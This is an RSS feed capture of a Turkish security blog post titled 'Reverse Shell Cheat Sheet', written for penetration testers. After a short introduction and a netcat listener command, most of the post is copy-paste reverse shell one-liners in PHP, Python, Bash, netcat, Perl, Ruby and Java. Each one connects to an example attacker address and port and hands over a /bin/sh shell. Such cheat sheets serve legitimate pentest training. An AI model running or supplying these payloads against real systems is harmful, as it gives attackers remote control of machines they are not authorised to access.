https://canyoupwn.me/en-reverse-shell-cheat-sheet/feed/ 0
TR | Reverse Shell Cheat Sheet https://canyoupwn.me/tr-reverse-shell-cheat-sheet-2/ https://canyoupwn.me/tr-reverse-shell-cheat-sheet-2/#respond Sun, 31 Jan 2016 20:28:43 +0000 http://canyoupwn.me/?p=53 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bir sızma testinde hedef makina üzerinde komut çalıştırabilecek bir zafiyet yakalamışsınızdır ancak SSH keyi eklemenize yada benzer bir şekilde bağlantı açmanıza imkan vermiyor olabilir… Bu durumda bir TCP porta reverse shell almak istersiniz. Komut çalıştırarak reverse shell almanıza imkan sağlayacak etken hedef makinada çalışan betik  dilleridir, en stabil şekillerini sizin için “kopyala/yapıştır” kullanabileceğiniz bir şablon […]

TR | Reverse Shell Cheat Sheet Hakkı YÜCE

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bir sızma testinde hedef makina üzerinde komut çalıştırabilecek bir zafiyet yakalamışsınızdır ancak SSH keyi eklemenize yada benzer bir şekilde bağlantı açmanıza imkan vermiyor olabilir…
Bu durumda bir TCP porta reverse shell almak istersiniz.

Komut çalıştırarak reverse shell almanıza imkan sağlayacak etken hedef makinada çalışan betik  dilleridir, en stabil şekillerini sizin için “kopyala/yapıştır” kullanabileceğiniz bir şablon halinde hazırladık.

Bu komutu hedef üzerinde çalıştırmadan önce istek yapacağınız portu Netcat dinlemeye almanız gerekmektedir.

nc -lvp [port]

nclvp

Aşağıdaki örneklerde 192.168.10.11 local IP ve 4545 ise dinleyeceğiniz local porttur

 


Php

php -r '$sock=fsockopen("192.168.10.11",4545);exec("/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3");'

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4545));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Bash

bash -i &gt;&amp; /dev/tcp/192.168.10.11/4545 0&gt;&amp;1

Netcat

nc -e /bin/sh 192.168.10.11 4545

Perl

perl -e 'use Socket;$i="192.168.10.11";$p=4545;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,"&gt;&amp;S");open(STDOUT,"&gt;&amp;S");open(STDERR,"&gt;&amp;S");exec("/bin/sh -i");};'

Ruby

ruby -rsocket -e'f=TCPSocket.open("192.168.10.11",4545).to_i;exec sprintf("/bin/sh -i &lt;&amp;%d &gt;&amp;%d 2&gt;&amp;%d",f,f,f)'

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5&lt;&gt;/dev/tcp/192.168.10.11/4545;cat &lt;&amp;5 | while read line; do \$line 2&gt;&amp;5 &gt;&amp;5; done"] as String[])
p.waitFor()

TR | Reverse Shell Cheat Sheet Hakkı YÜCE

]]>
https://canyoupwn.me/tr-reverse-shell-cheat-sheet-2/feed/ 0